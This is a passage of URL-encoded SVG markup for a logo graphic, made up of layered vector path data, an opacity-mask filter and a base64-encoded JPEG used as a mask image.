c0%2c4.463%2c2.38%2c6.782%2c6.837%2c6.782c2.507%2c0%2c5.062-0.594%2c7.379-1.426l-1.435%2c8.861c-2.912%2c0.716-5.885%2c1.077-8.856%2c1.077
c-9.704%2c0-15.227-5.237-15.227-15.056c0-3.149%2c0.774-16.058%2c15.763-16.058c3.87%2c0%2c7.02%2c0.35%2c10.054%2c1.126L212.27%2c48.627z'%3e%3c/path%3e%3cpath
d='M227.375%2c29.411c-0.234%2c2.2-0.887%2c9.938-1.069%2c14.037l0.124%2c0.122
c2.673-3.869%2c5.709-4.873%2c11.414-4.873c5.836%2c0%2c10.892%2c2.196%2c10.892%2c9.455c0%2c1.61-0.834%2c13.505-0.834%2c20.945h-11.72
c0.361-5.178%2c0.897-10.355%2c0.897-15.531c0-2.914-0.897-5.592-4.348-5.592c-3.038%2c0-5.059%2c2.078-5.887%2c4.875
c-1.007%2c3.156-1.254%2c9.882-1.494%2c16.247h-11.834c0.834-7.44%2c2.021-25.285%2c2.021-39.686H227.375z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M264.56%2c38.237c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c51.094c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.506c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.331c-3.337%2c0.95-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.938c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.516%2c331.017%2c50.199%2c331.374%2c47.938z
M329.827%2c83.163c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.789l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.789z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.938c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.516%2c402.761%2c50.199%2c403.125%2c47.938z
M401.69%2c65.847
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.847z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.911c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686
H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.597c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c36.22l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c49.127c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c49.127z'%3e%3c/path%3e%3cpath
d='M264.56%2c38.237c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c51.094c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.506c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.331c-3.337%2c0.95-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.938c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.516%2c331.017%2c50.199%2c331.374%2c47.938z
M329.827%2c83.163c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.789l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.789z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.938c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.516%2c402.761%2c50.199%2c403.125%2c47.938z
M401.69%2c65.847
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.847z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.911c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686
H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.597c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c36.22l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c49.127c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c49.127z'%3e%3c/path%3e%3c/g%3e%3cg%3e%3cg%3e%3cg%3e%3cpath
d='M264.56%2c37.737c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686h21
c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c50.594c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.006
c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.332c-3.337%2c0.951-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.438c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023c0%2c3.51-1.603%2c7.907-5.83%2c7.907
c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.016%2c331.017%2c49.699%2c331.374%2c47.438z
M329.827%2c82.663
c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.289l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.289z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.438c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023c0%2c3.51-1.6%2c7.907-5.83%2c7.907
c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.016%2c402.761%2c49.699%2c403.125%2c47.438z
M401.69%2c65.347h0.12
c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.347z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.411c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836c1.126-13.213%2c1.785-26.415%2c2.144-39.686H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.097c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69H441.02z
M442.863%2c35.72l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c48.627c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c48.627z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter
id='Adobe_OpacityMaskFilter_3_' filterUnits='userSpaceOnUse' x='251.18'
y='28.697' width='231.067' height='53.966'%3e%3cfeColorMatrix type='matrix'
values='-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0' color-interpolation-
filters='sRGB'
result='source'%3e%3c/feColorMatrix%3e%3c/filter%3e%3c/defs%3e%3cmask
maskUnits='userSpaceOnUse' x='251.18' y='28.697' width='231.067'
height='53.966' id='SVGID_4_'%3e%3cg
filter='url(%23Adobe_OpacityMaskFilter_3_)'%3e%3cimage overflow='visible'
width='236' height='59'
xlink:href='data:image/jpeg%3bbase64%2c/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/%2b4AIUFkb2JlAGTAAAAAAQMA
EAMCAwYAAAKMAAAE%2bwAADjj/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIADsA7AMBIgACEQEDEQH/
xACsAAACAwEBAAAAAAAAAAAAAAAABgQFBwMCAQEAAAAAAAAAAAAAAAAAAAAAEAABAwQBAgUFAQAA
AAAAAAAFAwQGAAECBzUVFxARExQ2IDBAUBY0EQACAQMCAwQECAgMBwAAAAABAgMREgQAITETBRBB
YRRRIrPTgZEykiMzNHTwcVJy4yQVNSAwQKGxwUJiooOkBuFTc6OEJUYSAQAAAAAAAAAAAAAAAAAA
AFD/2gAMAwEAAhEDEQAAAKZp4O4nle2mcLO94%2bUg/wAcSCW1CUaB4EIsZhRDeoBKZfIxq2srBkw/
qpeXUi9KKH5iiIWrQIQ%2bpporapMAkPK42EaXnOkipfQOYMFPcFBOzWwH9ebaglYZuGNG6qjWvjAu
MeQGodUbQyikeoRYVVtHJvibmQyKqkGt2uZdiPr%2bAtoyNmR8TRINT5OugZlppV9kn2OdVm/M26El
VxqiotQjXahG4mkcU5TNehJHE11WV641rlkLQM2VNKQAAAAAAA4ahirUJ9f24gAAAAAAAAAAAAAA
H//aAAgBAgABBQD95//aAAgBAwABBQD95//aAAgBAQABBQCFxhjIL9sQNdsQNdsQNSaEvAmH3BjX
B6S7YgamkYYx%2b/hDocNPDXWuY41bBoXGnIiWxKPjo/8ARq9rhiNrupUfONzw5y2RdtgkRMm07arv
5PtYPkULDHnU22rymSnauldWKWTLACoZQFDyZ5pfWR%2b1qtrI/e2EPJgSlSeHZyF5fVd/I3GyoLPW
qCqUekHAih%2bwMxcmYzdIKEjZU7mlqxS6aurFLJ9McdV1jwKqqaKbLWyb1mIEsw7F0/Ze8SSSQSkU
8bhH4ckkWGSQJi7dUdmIsE8DHhptAqNbFmGuUFWwgyuq2EeEwUcZGaMTgOHfhzTA00IsG5JjC0FW
0blDhJvHY/wM89wqHHMG41iTMDRKLXYsbXv6gTuDrHgZBwOtSnuRLlG67eAIrt5ZTiaRps4/u4pT
CWx8i7rYTZRCTavTcXKVHGuCDeQcCJZdQKUZ%2bV1PcM8ZVqyyvq1H1U1h07%2bKAsM0wh7BtmvWz/W6
x4a/bpIxiQcDBSNmEjovjgAlNr2vY1Cwxp0hrWPJKpMhY/YlHI8OOoCRDEOzMk0hIyBPMHUbva17
MwolgtRJRwpsGjkYEnbCRDEOzkZlMKJjaSaUfnfxSp86uyHsnrUg1JBxhZJCFRdBX3THrYidFxA9
7sQ29Z4Z5p522aftYvOSxhgHmR0RgltNSybjaTjJKIuXJ6a0dmBYJKb7Uv5G5IVO5hTpAG6S2mpZ
MjsYy7U7nHq/uS/V%2b5x6huwzbRw42k4ySLmyRpwy2IbZMy86Llx9tmn7WOzAmeaBJIVBZpbTUsm7
2gQz%2b1rHnqkHPflxrkKe/wCz8P8A/9oACAECAgY/AHP/2gAIAQMCBj8Ac//aAAgBAQEGPwDM85JL
GMblWckqteZzK1vRvyNfaMv58fudfaMv58fudfaMv58fudNmQP5np67tKaK8VzWqrrX1uI3X4h/G
4mHISqZM8cTMvECRwhIr%2bPX2jL%2bfH7nWH5OSWQZPNv5xVqcvl0pYi/l9suZmSzo6TtEqxMiiioj1
N6N%2bVqbJlyctYoEaR2ujNFQFiaCGp2GsHJnw75pseKSR%2bbKKs6KzGiyAcTrKzcLF5WRFy7H5kjUu
kRDs7sODfwc3MBN804iZe4CFA6keP0p7P3X/AKj9Dpc6BDGQxjlibeyRQCVu2uFGFDqXFnW6GdGj
kXhVWFp3GufiokWNuBPMxVGZeIW0Mx/HSnjrfqm/f%2br/AKbRkwcxMqVd%2bS6cmop/Za9xWvpoPHSd
KlTk5jyrBZJta7kKKkV234ju1TLzIIoqbNEHlavotZYh/Pr96f6f9NpjD1JXlANivCUUnuBYSMR8
R1ZnwMiE0SYetE/GlrjappWh38NPl4ckEcUchiIlZwSwVWNLEbuYarz8Q%2bF8nuuyvPxB4Xye610n
LzJIJIpM/HiAiZyQxe7e9F7lPZFknPOOkMfLWHl8wVuZmcfSJQmoHDu1t1Tfu/V/02l89GDE5tjn
jN0bGlaV2IP5wGneRbVnyZJIjt6yhUjr85CNdT%2b6T%2bzbWG%2bH1PGixWhjMEbqpZYyoKA/q7cF8dZE
nVeoY%2bRgqU50USgMauoXhBHwanfpvIxgRIbZJ5DbGppWldyT%2baDpTN1JUlIF6pCXUHvAYyKT8Q0x
h6krygGxXhKKT3AsJGI%2bI6/ZNV8z5jytamzmX8rjStK%2bGsj72/s4dPNKwSONS7uxoFVRUkn0Aagz
IupkR5EaSqDjioDqGoaTncV0mFhrbGu7MflO54u59Jp/VqPpDl3yMtHJSKoMcQU1kd0IKA/JB414
aSGFBHFGAqIooqqNgABo9PjxTlzRgGYl%2bUqFgGVR6j3eqa/htj9QiFqzpUpubWBtdakCtrAitN9d
M6lBCGysTMxzK6g3nH5guFF42kht%2bAr2Lh5cc8krxiUGFUZQGLLQ3SKa%2brppsCQtZaJY2FrxlhUB
h/WKjx1NgZVeVMACVNGUg3Kw8QRrMx5lsmhzpY5F2NrIkSsNvEazsiFrJocaaSNtjayIzKd/Edv%2b
28WKrRvmCZ41FamFoqN6fVV27H6fkRzyzxBTIYkUqpcXAVd03oQdtebwXLIDY6spVkegYqw8Lu6o
8dTYOSKxToVJoCVJ4Mta7qdxrFx5lsmheeORdjayTyqw28RrqUkptVseSMGhPrSrykG3pZhrpn3S
D2a6g6fj239Ry4MUl60FxLruOHrIPg1Dg4wpFAgUGgBYjizUpux3OhN1DIWBWrYp3d6UBsRas1Ki
tBt36YSvNiW0oZoybq%2bjkmTh468zzo/2bzvM8%2b/6Pm8rnXX1/wCd3fBrI%2b9v7OHXU/uk/s21L05h
RsB6oR3xzFnHfxDXfBTUsAkeIyoyCWM2ulwtuQ9xHdrqEGS3MyIoZkmepa51miVjcdzU9kuNPm2T
Qu0ci8qY0dDawqIyOI19u/7M3u9R4WFl83IlrYnLlWtqlzu6AcB2TyvS3JjiljpxtCCHfxujOsyR
a%2bWWALJv6vMZ1MdV7zRXp8Pp7M2VSScrqGZK4PAETPDQfBGNdT%2b6T%2bzbWJhEMVyJkjcoKsEZhew2
PyVqez/bn/nexXszGZSocRMhIoGHKRaj07gjXUiGAiCwh1p6xYmS0hq7AC6u3o9HY00TB4pMnMdH
U1DK2VMQQfEazv8AJ9tHrp0cilHTFgVlYUKkRqCCD366OuUQIx1BGUk2/SLDO0W//UC7d/Dsxbru
R5YWVrZfzHvt7q0tr8HbjyRijZDyySmpNWDtFX5qDXU/uk/s21jhyBHlg4zkgk/SUKUp6ZFUdmL1
6gXD6kPJZzn%2bw5oUkqzClbBXbgp7zqo3B4HQy8jmQT0o7wFV5lOBe5G3Hp/4aWR3yZ1XjFJIoVtu
/lojfEdYGD0yPlRwQuJkqx%2blaKaT5Tkk%2boy9/h2LDmqwaM1jmjIWRPSASGFD3gjS4eElsa7sx3d2
73c7VP4DWR1CUVECVVd/Xc%2bqi7A8WIGoRzDJPDJKuQWqW5jyNNUk8ahwa6odweI1JPhYkUEsvynR
ADSgFq/kj1RsNu/j2dIgFWggxZZqAVCGRZo2Ykem1Rv2K2ajLOgtTIia2RVrdbuCpH4we%2bmlw8JL
Y13Zju7t3u52qfwGp80kc4C3HQ09eVtl2qKgcT4A66asahFONE5CigudA7H8ZYknWd/k%2b2j7OnZg
W843UIJglaXctZXpXfjTUeXiSCWCUVRx/QfQR3jQi6hjpOq/IJqGWpBNrrRlrQVod9LKmApZeAke
SRdxTdJHZT8I15zkf%2bv81zvLUX6jmX8u35PydqcNRdPxosd4YbrGkVy3rsXNSsiji3o1Phyw4yx5
EbROyJJcFcFTSspFaHSyRsUdCGVlNCpG4II79U5GIfGyT3upOn5MOOkMpUs0auH9Rg4oWkYcR6NC
GGYT44FFgyAZFTgBaQVYUA4A08NKJumq8oAvZJiik95CmNiPjOiMbpyRTbWvJKZFG%2b9UVIz/AItN
1XJKRzRxPM6RqQpoi4oUVYkbOD2ZkMLifCBirjSbqKxRFrGG6nj4VNaHW3S9%2b79Y/Q6Xz0gESG6O
CMWxqaUrTck/nE6OTgsPWFskT1Mcg7rlBHDu30om6arygC9kmKKT3kKY2I%2bM6XyyR4kKSJIFUszs
EIayR6rVSeNANttfZ8T5knvtftjlY/mPL%2bVstfl8u/m8OZdW7x19nxPmSe%2b075QXMx5HZzC1VKXF
mtjk9YgVPBrqAUFNEY3Tkim2teSUyKN96oqRn/FoT58vMK1EaABUjUmtFUf08fSdQYcUOM0ePGsS
M6SXFUAUVpKBWg1L0/Jix0hmtvaNXDeowcULSMOK%2bjVORiHxsk97pMTMjgjijkEoMSuCWCsu97t3
MdN5GQGJzdJBILo2NKVpsQfzSNKJumq8oAvZJiik95CmNiPjOl8lhQwbG/ms0xPott5VP5/4rI%2b6
P7SHs6n97n9o38sb94fVN%2b6/tHFeP9z0/Br/AOs1kfW/Wv8AX/XfKP1v9/8AK8f5J//Z'
transform='matrix(1 0 0 1 249 26.377)'%3e%3c/image%3e%3c/g%3e%3c/mask%3e%3cg
opacity='0.12' mask='url(%23SVGID_4_)'%3e%3cg%3e%3cpath
d='M264.56%2c37.737c-0.651%2c10.415-0.947%2c20.884-1.064%2c31.36H251.18c1.369-12.313%2c1.841-23.799%2c1.901-39.686
h21c2.859%2c0%2c14.275%2c0.297%2c14.275%2c10.534c0%2c6.246-3.686%2c9.636-9.28%2c11.601c2.324%2c5.946%2c5.239%2c11.657%2c7.731%2c17.551h-13.205
c-2.142-7.561-4.937-14.872-7.675-22.257c0.957%2c0.187%2c1.966%2c0.3%2c2.914%2c0.3c3.454%2c0%2c7.554-1.307%2c7.554-5.412
c0-3.991-3.988-3.991-6.718-3.991H264.56z'%3e%3c/path%3e%3cpath
d='M297.821%2c50.594c0.293-2.56%2c2.075-5.238%2c5.284-5.238c2.861%2c0%2c4.29%2c1.783%2c4.29%2c5.238H297.821z
M317.928%2c56.006c0.295-1.49%2c0.418-2.974%2c0.418-4.46c0-8.273-5.359-12.849-15.121-12.849c-15.821%2c0-17.067%2c13.38-17.067%2c16.535
c0%2c11.724%2c8.274%2c14.579%2c17.734%2c14.579c3.438%2c0%2c6.952-0.424%2c10.352-1.132l1.421-8.332c-3.337%2c0.951-6.9%2c1.965-10.41%2c1.965
c-3.927%2c0-7.797-1.668-7.797-6.307H317.928z'%3e%3c/path%3e%3cpath
d='M331.374%2c47.438c1.427-0.361%2c2.85-0.655%2c4.34-0.655c4.402%2c0%2c6.607%2c2.738%2c6.607%2c7.023
c0%2c3.51-1.603%2c7.907-5.83%2c7.907c-4.046%2c0-5.709-3.924-5.709-7.378C330.782%2c52.016%2c331.017%2c49.699%2c331.374%2c47.438z
M329.827%2c82.663c0-5.478%2c0.302-11.011%2c0.474-16.545c3.034%2c2.44%2c6.666%2c3.692%2c10.532%2c3.692c8.565%2c0%2c12.785-7.911%2c12.785-15.586
c0-8.093-4.043-15.528-16.178-15.528c-6.658%2c0-11.958%2c0.652-17.305%2c1.541c0%2c14.161-0.846%2c28.321-2.095%2c42.425H329.827z'%3e%3c/path%3e%3cpath
d='M376.76%2c65.289l-0.112-0.126c-2.44%2c3.57-6.132%2c4.647-10.407%2c4.647c-8.274%2c0-10.655-4.054-10.655-9.046
c0-1.903%2c1.069-15.467%2c1.069-21.358h11.658c-0.227%2c5.296-1.065%2c10.589-1.065%2c15.825c0%2c2.856%2c0.952%2c5.295%2c4.222%2c5.295
c3.038%2c0%2c4.709-2.375%2c5.291-5.055c0.778-3.333%2c0.899-10.173%2c1.074-16.065h11.547c-0.955%2c9.871-1.432%2c19.812-1.669%2c29.69H376.76
V65.289z'%3e%3c/path%3e%3cpath
d='M403.125%2c47.438c1.428-0.361%2c2.854-0.655%2c4.338-0.655c4.405%2c0%2c6.601%2c2.738%2c6.601%2c7.023
c0%2c3.51-1.6%2c7.907-5.83%2c7.907c-4.042%2c0-5.709-3.924-5.709-7.378C402.524%2c52.016%2c402.761%2c49.699%2c403.125%2c47.438z
M401.69%2c65.347
h0.12c2.317%2c3.039%2c5.357%2c4.464%2c9.289%2c4.464c9.574%2c0%2c14.265-8.034%2c14.265-16.778c0-9.342-5.463-14.335-14.626-14.335
c-1.196%2c0-2.385%2c0.056-3.515%2c0.173c-1.186%2c0.118-2.318%2c0.298-3.511%2c0.536c0.237-4.226%2c0.479-7.14%2c0.895-9.996h-11.837
c-0.178%2c13.271-1.075%2c26.473-2.024%2c39.686h10.89L401.69%2c65.347z'%3e%3c/path%3e%3cpath
d='M440.253%2c29.411c-0.653%2c6.664-1.971%2c29.273-2.151%2c39.686h-11.836
c1.126-13.213%2c1.785-26.415%2c2.144-39.686H440.253z'%3e%3c/path%3e%3cpath
d='M441.02%2c69.097c1.008-8.983%2c1.426-17.85%2c1.549-29.69h11.891c-0.998%2c9.871-1.068%2c19.812-1.068%2c29.69
H441.02z
M442.863%2c35.72l0.118-7.023h11.548l-0.306%2c7.023H442.863z'%3e%3c/path%3e%3cpath
d='M482.247%2c48.627c-2.44-0.834-4.997-1.425-7.548-1.425c-4.593%2c0-7.499%2c2.674-7.499%2c7.313
c0%2c4.463%2c2.376%2c6.782%2c6.838%2c6.782c2.499%2c0%2c5.052-0.594%2c7.379-1.426l-1.429%2c8.861c-2.919%2c0.716-5.893%2c1.077-8.865%2c1.077
c-9.698%2c0-15.235-5.237-15.235-15.056c0-3.149%2c0.774-16.058%2c15.774-16.058c3.859%2c0%2c7.02%2c0.35%2c10.054%2c1.126L482.247%2c48.627z'%3e%3c/path%3e%3c/g%3e%3c/g%3e%3c/g%3e%3c/g%3e%3cg%3e%3cg
opacity='0.4'%3e%3cpath
d='M495.859%2c68.106c-1.011%2c0.98-2.226%2c1.469-3.639%2c1.469c-1.466%2c0-2.697-0.499-3.701-1.502
c-1.001-1.005-1.502-2.235-1.502-3.7c0-1.52%2c0.54-2.784%2c1.625-3.789c1.015-0.941%2c2.208-1.413%2c3.578-1.413
c1.438%2c0%2c2.661%2c0.508%2c3.677%2c1.524c1.017%2c1.017%2c1.525%2c2.242%2c1.525%2c3.678C497.423%2c65.855%2c496.905%2c67.098%2c495.859%2c68.106z
